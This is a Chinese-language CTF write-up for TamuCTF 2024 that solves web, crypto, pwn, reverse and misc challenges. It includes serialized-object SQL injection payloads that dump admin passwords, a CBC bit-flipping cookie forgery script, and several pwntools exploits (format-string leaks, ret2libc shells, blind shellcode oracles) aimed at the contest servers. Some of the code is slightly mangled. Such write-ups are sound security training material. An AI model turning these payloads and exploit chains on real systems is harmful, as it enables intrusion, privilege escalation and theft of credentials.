TamuCTF 2024 Writeup

WriteUp 3周前 admin
49 0 0

点击蓝字

TamuCTF 2024 Writeup

关注我们



声明

本文作者:CTF战队
本文字数:约6945字

阅读时长:约10分钟

附件/链接:点击查看原文下载

本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。

狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


TamuCTF 2024 Writeup

CTF战队正在招新~  点击 上方图片了解详情!

TamuCTF 2024 Writeup

TAMUctf 2024 tamuctf.com

Sanity Check

welcome

TamuCTF 2024 Writeup

WEB

Cereal

sql 注入

TamuCTF 2024 Writeup

有guest的账户可以登录

TamuCTF 2024 Writeup

profile.php 有反序列化

TamuCTF 2024 Writeup
TamuCTF 2024 Writeup

config.php的User类有__wakeup,会调用refresh() 进行sql注入

TamuCTF 2024 Writeup

flag 应该是在数据库里

TamuCTF 2024 Writeup

没有waf,跟安卓的sqlite不太像,和mysql更相似

4字段

TamuCTF 2024 Writeup
Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjU6Imd1ZXN0IjtzOjI6ImlkIjtzOjU3OiI5OTkndW5pb24gc2VsZWN0IChzZWxlY3Qgc3FsIGZyb20gc3FsaXRlX21hc3RlciksMiwzLDQtLSAiO3M6MTE6IgAqAHBhc3N3b3JkIjtzOjMyOiI1ZjRkY2MzYjVhYTc2NWQ2MWQ4MzI3ZGViODgyY2Y5OSI7czoxMDoiACoAcHJvZmlsZSI7Tjt9
TamuCTF 2024 Writeup

flag 是admin的密码

Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjU6Imd1ZXN0IjtzOjI6ImlkIjtzOjcwOiI5OTkndW5pb24gc2VsZWN0ICAoc2VsZWN0IGdyb3VwX2NvbmNhdChwYXNzd29yZCkgZnJvbSB1c2VycykgLDIsMyw0LS0gIjtzOjExOiIAKgBwYXNzd29yZCI7czozMjoiNWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTkiO3M6MTA6IgAqAHByb2ZpbGUiO047fQ==
TamuCTF 2024 Writeup

Forgotten Password

TamuCTF 2024 Writeup

只看到了recover路由的方法,但是不会这个语言…

TamuCTF 2024 Writeup

想办法把flag发到自己的邮箱

TamuCTF 2024 Writeup

传一个数组进去,第一个是存在的用户,第二个是自己的邮箱

TamuCTF 2024 Writeup

Flipped

CBC翻转字节

from os import environ
from hashlib import md5
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, make_response, Response
from base64 import b64encode, b64decode

import sys
import json

FLAG = environ['FLAG']
PORT = int(environ['PORT'])

default_session = '{"admin": 0, "username": "guest"}'
key = get_random_bytes(AES.block_size)
app = Flask(__name__)


def encrypt(session):
iv = get_random_bytes(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))


def decrypt(session):
raw = b64decode(session)
cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])
try:
return unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode()
except Exception:
return None


@app.route('/')
def index():
session = request.cookies.get('session')
if session == None:
res = Response(open(__file__).read(), mimetype='text/plain')
res.set_cookie('session', encrypt(default_session).decode())
return res
elif (plain_session := decrypt(session)) == default_session:
return Response(open(__file__).read(), mimetype='text/plain')
else:
if plain_session != None:
try:
if json.loads(plain_session)['admin'] == True:
return FLAG
else:
return 'You are not an administrator'
except Exception:
return 'You are not an administrator'
else:
return 'You are not an administrator'

if __name__ == '__main__':
app.run('0.0.0.0', PORT)

应该是把 admin:0 改成 1 就行了,js是弱类型语言

{"admin": 0, "us
ername": "guest"
}

16字节一组,admin在第一组,改iv

def encrypt(session):
iv = get_random_bytes(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))

iv是随机生成的,拼接在aes加密后的内容前面

aes加密输入和输出长度相同,那么iv就是第一组,一共四组

#-*- coding:utf8 -*-
import base64
import urllib.parse

#iv
#{"admin": 0, "us
#ername": "guest"
#}

cipher = base64.b64decode("TNiZwJ1V0g85nLqM1jfOX1reKVgrHiKB0+bIGYVMheQzedUjeMPnLNurPIrXcu4oLpj9hv44MTY/81gPHaGYLg==")
print(len(cipher))

array_cipher = bytearray(cipher)
iv = array_cipher[0:16]
print(iv)

decode_plain = '{"admin": 0, "username": "guest"}'

#原始明文
plain = '{"admin": 1, "us'

newiv = list(iv)


for i in range(0,16):
newiv[i] = (ord(plain[i].encode('utf-8')) ^ iv[i] ^ ord(decode_plain[i].encode('utf-8')))


newiv = bytes(newiv)

print('newiv:',base64.b64encode(newiv+cipher[16:]))

cbc的那个异或三个参数分别是修改后的明文,密文中对应的值,原始的明文

Forensics

Deleted

TamuCTF 2024 Writeup

Pwn

Admin Panel

首先可以在输入密码处溢出覆盖format来利用格式化字符串漏洞

TamuCTF 2024 Writeup通过格式化字符串泄露canary和libc,进入admin函数中栈溢出打ret2libc

 from pwn import *
 context.log_level="debug"
 def exp():
    io = remote("tamuctf.com"443, ssl=True, sni="admin-panel")
    io.recvuntil(b"Login:n")
    io.recvuntil(b"length 16:n")
    io.sendline("admin")
    io.recvuntil(b"length 24:n")
    p = b"secretpass123".ljust(0x20,b"A") + b"%15$p-%17$p"
    io.sendline(p)
    io.recvuntil("adminn")
    canary = int(io.recvuntil(b"-",drop=True),16)
    print("[+]canary:",hex(canary))
    __libc_start_main = int(io.recv(14),16)-235
    libc = ELF("./libc.so.6")
    libc_base = __libc_start_main - libc.sym['__libc_start_main']
    print("[+]libc_base:",hex(libc_base))
    sys_addr = libc_base + libc.sym['system']
    sh_addr = libc_base + next(libc.search(b"/bin/shx00"))
    rdi_ret = libc_base + 0x23a5f
    io.recvuntil(b"1, 2 or 3:")
    io.sendline(b"2")
    io.recvuntil(b"went wrong:")
    p = b"A"*0x48 + p64(canary) + b"A"*8 + p64(rdi_ret) + p64(sh_addr) + p64(sys_addr)
    io.sendline(p)
    io.recv()
    io.sendline(b"3")
    io.recvuntil(b"foundn")
    io.sendline(b"cat flag*")
    io.recv()

exp()

Rift

一道fmt,但是把输入放到了bss上,这里先利用fmt泄露pie,libc和stack地址,然后通过修改栈内容来更换需要的地址,把payload写到ret位置,最后修改循环跳出条件ret2libc

 from pwn import *
 context.log_level="debug"
 def exp():
    io = remote("tamuctf.com"443, ssl=True, sni="rift")
    io.sendline(b"%9$p-%11$p-%13$p.")
    pie = int(io.recvuntil(b"-",drop=True)[-14:],16) - 24 - elf.sym['main']
    __libc_start_main = int(io.recvuntil(b"-",drop=True),16) - 235
    libc = ELF("./libc.so.6")
    libc_base = __libc_start_main - libc.sym['__libc_start_main']
    print("[+]libc_base:",hex(libc_base))
    sys_addr = libc_base + libc.sym['system']
    sh_addr = libc_base + next(libc.search(b"/bin/shx00"))
    rbp = int(io.recv(14),16) - 0xf8
    rdi_ret = pie + 0x127b
    
    def fmt(addr,data):
        io.sendlineafter(b".n",f"%{(addr)&0xffff}c%13$hn.")
        io.sendlineafter(b".n",f"%{(data)&0xffff}c%39$hn.")
        io.sendlineafter(b".n",f"%{(addr+2)&0xffff}c%13$hn.")
        io.sendlineafter(b".n",f"%{(data>>16)&0xffff}c%39$hn.")
        io.sendlineafter(b".n",f"%{(addr+4)&0xffff}c%13$hn.")
        io.sendlineafter(b".n",f"%{(data>>32)&0xffff}c%39$hn.")

    fmt(rbp+0x8,rdi_ret)
    fmt(rbp+0x10,sh_addr)
    fmt(rbp+0x18,sys_addr)
    io.sendlineafter(b".n",f"%{(rbp-4)&0xffff}c%13$hn.")
    io.sendlineafter(b".n",f"%39$hn")
    io.sendline(b"cat flag*")
    io.recvall()

exp()

Confinement

shellcode类型,有沙箱

TamuCTF 2024 Writeup程序通过fork一个子进程来执行shellcode,并由返回值的不同打印出不同的内容,利用打印的内容不相同可以尝试盲注,根据打印内容来判断是否正确

mov rdx,{j}
xor dl,byte ptr [r8-0x1290+{i}]
mov rax, 231
mov rdi, rdx
syscall
from pwn import *
context.log_level = 'error'

def exp():
    flag = ""
    error = []
    for i in range(50):
        for j in range(32,128):
            print(f"{i}-{j}:",flag)
            io = remote("tamuctf.com"443, ssl=True, sni="confinement",timeout=8)
            '''
                mov rdx,{j}
                xor dl,byte ptr [r8-0x1290+{i}]
                mov rax, 231  
                mov rdi, rdx
                syscall
            '''

            p = b"x48xC7xC2"+p8(j)+b"x00x00x00x41x32x90"+p8(0x70+i)
            p +=b"xEDxFFxFFx48xC7xC0xE7x00x00x00x48x89xD7x0Fx05"
            io.sendline(p)
            if b"adios" in io.recv():
                flag+=chr(j)
                break
            io.close()

        if flag[-1] == '}':
            break
              
    print(flag)
    
 exp()

Five

先通过5字节调用read重新写shellcode到mmap开辟的区域,接着返回时顺序执行刚好就可以执行到shellcode

from pwn import *
context.log_level="debug"
context.arch="amd64"
def exp():
    io = remote("tamuctf.com"443, ssl=True, sni="five")
    shellcode_x64=asm(shellcraft.amd64.sh())
    '''
      xchg rsi,rdx
      syscall
    '''

    io.send(p)
    io.recv()
    io.sendline(b"x90"*5+shellcode_x64)
    io.sendline(b"cat flag*")
    io.recv()
    
exp()

Misc

Lost Tourist

https://www.google.com/maps/@1.2889099,103.8596131,172m/data=!3m1!1e3?entry=ttu

大概的位置

TamuCTF 2024 Writeup
TamuCTF 2024 Writeup

Missing

https://songslikex.com/songs-like/7bz9h87mPr5kARIVdie77S

TamuCTF 2024 Writeup
TamuCTF 2024 Writeup

Reverse

Reveille Petter

用CE修改一下数据就可以出flag

TamuCTF 2024 Writeup

Resistant

函数被加密了,动调解密,看到最里面的函数是一个aes/cbc加密

第一个函数解密后可以看到aes的data

TamuCTF 2024 Writeup

继续动调,让第二个加密的函数自动解密

TamuCTF 2024 Writeup

key和iv都给出了,调试到key和iv异或之后,将数据提取出来,在线解密即可

TamuCTF 2024 Writeup

用给的模板发送数据即可

from pwn import *

context.log_level = "debug"
io = remote("tamuctf.com"443, ssl=True, sni="resistant")
io.sendline(b'N0tUrM0msP4sswd!')
io.recvall()
TamuCTF 2024 Writeup


作者



TamuCTF 2024 Writeup

CTF战队

ctf.wgpsec.org



扫描关注公众号回复加群

和师傅们一起讨论研究~


WgpSec狼组安全团队

微信号:wgpsec

Twitter:@wgpsec


TamuCTF 2024 Writeup
TamuCTF 2024 Writeup


原文始发于微信公众号(WgpSec狼组安全团队):TamuCTF 2024 Writeup

版权声明:admin 发表于 2024年4月9日 下午1:53。
转载请注明:TamuCTF 2024 Writeup | CTF导航

相关文章